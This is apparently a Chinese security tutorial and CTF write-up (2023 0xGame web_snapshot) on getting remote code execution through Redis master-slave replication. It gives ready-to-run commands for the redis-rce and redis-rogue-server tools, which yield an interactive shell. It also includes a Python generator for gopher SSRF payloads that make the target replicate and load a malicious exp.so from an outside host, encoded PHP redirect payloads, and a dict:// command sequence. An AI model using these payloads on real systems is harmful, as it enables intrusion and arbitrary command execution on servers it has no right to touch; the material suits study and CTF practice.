一、Redis 主从复制一键自动化RCE
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。
通过脚本实现一键自动化getshell:
1、生成恶意.so文件,下载RedisModules-ExecuteCommand使用make编译即可生成。
1 2 3 4 5
| git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand cd RedisModules-ExecuteCommand/ make
BASH
|
2、攻击端执行: python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so
1 2 3 4 5 6 7
| git clone https://github.com/Ridter/redis-rce.git cd redis-rce/ cp ../RedisModules-ExecuteCommand/src/module.so ./ pip install -r requirements.txt python redis-rce.py -r 192.168.28.152 -p 6379 -L 192.168.28.137 -f module.so
VIM
|
二、Redis主从复制利用原理
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。
编写恶意so文件的代码。l利用脚本https://github.com/Dliv3/redis-rogue-server
三、Redis主从复制的几种情况
(一)、主动连接模式
适用于目标Redis服务处于外网的情况
启动redis rogue server,并主动连接目标redis服务发起攻击
1 2 3
| python3 redis-rogue-server.py --rhost <target address> --rport <target port> --lhost <vps address> --lport <vps port>
CSS
|
参数说明:
--rpasswd
如果目标Redis服务开启了认证功能,可以通过该选项指定密码
--rhost
目标redis服务IP
--rport
目标redis服务端口,默认为6379
--lhost
vps的外网IP地址
--lport
vps监控的端口,默认为21000
攻击成功之后,你会得到一个交互式shell
(二)、被动连接模式
适用于目标Redis服务处于内网的情况
- 通过SSRF攻击Redis
- 内网Redis未授权访问/已知Redis口令, Redis需要反向连接redis rogue server
这种情况下可以使用--server-only
选项
1 2 3
| python3 redis-rogue-server.py --server-only
VIM
|
参数说明:
--server-only
仅启动redis rogue server, 接受目标redis的连接,不主动发起连接
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| import requests import re def urlencode(data): enc_data = '' for i in data: h = str(hex(ord(i))).replace('0x', '') if len(h) == 1: enc_data += '%0' + h.upper() else: enc_data += '%' + h.upper() return enc_data def gen_payload(payload): redis_payload = '' for i in payload.split('\n'): arg_num = '*' + str(len(i.split(' '))) redis_payload += arg_num + '\r\n' for j in i.split(' '): arg_len = '$' + str(len(j)) redis_payload += arg_len + '\r\n' redis_payload += j + '\r\n' gopher_payload = 'gopher://db:6379/_' + urlencode(redis_payload) return gopher_payload payload1 = ''' slaveof 111.229.162.217 21000 config set dir /tmp config set dbfilename exp.so quit ''' payload2 = ''' slaveof no one module load /tmp/exp.so system.exec 'id' quit ''' print(gen_payload(payload1)) print(gen_payload(payload2))
PYTHON
|
四、例题
2023 0xGame web_snapshot
题⽬会通过 curl 函数请求⽹⻚, 并将 html 源码保存在 Redis 数据库中
请求⽹⻚的过程很明显存在 ssrf, 但是限制输⼊的 url 只能以 http / https 开头
1 2 3 4 5 6 7 8 9 10 11 12
| function _get($url) { $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_HEADER, 0); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); $data = curl_exec($curl); curl_close($curl); return $data; }
PYTHON
|
⾸先注意 curl_setopt 设置的参数 CURLOPT_FOLLOWLOCATION , 代表允许 curl 根据返回头中的 Location 进⾏
重定向
参考: https://www.php.net/manual/zh/function.curl-setopt.php
[
[
⽽ curl ⽀持 dict / gopher 等协议, 那么我们就可以通过 Location 头把协议从 http 重定向⾄ dict / gopher, 这个技
巧在⼀些关于 ssrf 的⽂章⾥⾯也会提到
https://www.cnblogs.com/xiaozi/p/13089906.html
https://github.com/Dliv3/redis-rogue-serve
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| import requests import re def urlencode(data): enc_data = '' for i in data: h = str(hex(ord(i))).replace('0x', '') if len(h) == 1: enc_data += '%0' + h.upper() else: enc_data += '%' + h.upper() return enc_data def gen_payload(payload): redis_payload = '' for i in payload.split('\n'): arg_num = '*' + str(len(i.split(' '))) redis_payload += arg_num + '\r\n' for j in i.split(' '): arg_len = '$' + str(len(j)) redis_payload += arg_len + '\r\n' redis_payload += j + '\r\n' gopher_payload = 'gopher://db:6379/_' + urlencode(redis_payload) return gopher_payload payload1 = ''' slaveof 111.229.162.217 21000 config set dir /tmp config set dbfilename exp.so quit ''' payload2 = ''' slaveof no one module load /tmp/exp.so system.exec 'id' quit ''' print(gen_payload(payload1)) print(gen_payload(payload2))
PYTHON
|
分两次打
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php // step 1 header('Location: gopher://db:6379/_%2A%31%0D%0A%24%30%0D%0A%0D%0A%2A%33%0D%0A%24%37%0D%0A%73%6C%61%76%65 %6F%66%0D%0A%24%32%30%0D%0A%68%6F%73%74%2E%64%6F%63%6B%65%72%2E%69%6E%74%65%72%6E%61%6C %0D%0A%24%35%0D%0A%32%31%30%30%30%0D%0A%2A%34%0D%0A%24%36%0D%0A%63%6F%6E%66%69%67%0D%0A %24%33%0D%0A%73%65%74%0D%0A%24%33%0D%0A%64%69%72%0D%0A%24%34%0D%0A%2F%74%6D%70%0D%0A%2A %34%0D%0A%24%36%0D%0A%63%6F%6E%66%69%67%0D%0A%24%33%0D%0A%73%65%74%0D%0A%24%31%30%0D%0A %64%62%66%69%6C%65%6E%61%6D%65%0D%0A%24%36%0D%0A%65%78%70%2E%73%6F%0D%0A%2A%31%0D%0A%24 %34%0D%0A%71%75%69%74%0D%0A%2A%31%0D%0A%24%30%0D%0A%0D%0A') // step 2 // header('Location: gopher://db:6379/_%2A%33%0D%0A%24%37%0D%0A%73%6C%61%76%65%6F%66%0D%0A%24%32%0D%0A%6E%6F %0D%0A%24%33%0D%0A%6F%6E%65%0D%0A%2A%33%0D%0A%24%36%0D%0A%6D%6F%64%75%6C%65%0D%0A%24%34 %0D%0A%6C%6F%61%64%0D%0A%24%31%31%0D%0A%2F%74%6D%70%2F%65%78%70%2E%73%6F%0D%0A%2A%32%0D %0A%24%31%31%0D%0A%73%79%73%74%65%6D%2E%65%78%65%63%0D%0A%24%35%0D%0A%27%65%6E%76%27%0D %0A%2A%31%0D%0A%24%34%0D%0A%71%75%69%74%0D%0A%2A%31%0D%0A%24%30%0D%0A%0D%0A')
PHP
|
在 vps 上启动⼀个 php 服务器, 例如 php -S 0.0.0.0:65000 , 然后让题⽬去访问这个 php ⽂件(我用的是直接启动apache
[
第⼆次打完之后, 访问给出的 link 拿到回显
1 2 3
| http://127.0.0.1:50034/cache.php?id=f56f89a264510e2b3aee8461a9859812
BASH
|
[
这⾥得注意⼏个点
⾸先 gopher 得分两次打, 不然你在执⾏ slaveof IP Port 命令之后⼜⽴即执⾏了 slave of no one , 这就导
致根本没有时间去主从复制 exp.so
其次在使⽤ gopher 发送 redis 命令的时候记得结尾加上 quit , 不然会⼀直卡住
然后注意 redis 的主机名是 db , ⽽不是 127.0.0.1 , 因此访问 redis 数据库得⽤ db:6379
如果⽤ dict 协议打的话, 得调整⼀下 payload 顺序
1 2 3 4 5 6 7 8 9
| dict://db:6379/config:set:dir:/tmp dict://db:6379/config:set:dbfilename:exp.so dict://db:6379/slaveof:host.docker.internal:21000 dict://db:6379/module:load:/tmp/exp.so dict://db:6379/slave:no:one dict://db:6379/system.exec:env dict://db:6379/module:unload:system
RUBY
|
因为每次执⾏命令之间会存在⼀定的时间间隔, 所以得先设置 dir 和 dbfilename, 然后再 slaveof, 不然最终同步的
⽂件名和路径还是原来的 /data/dump.rdb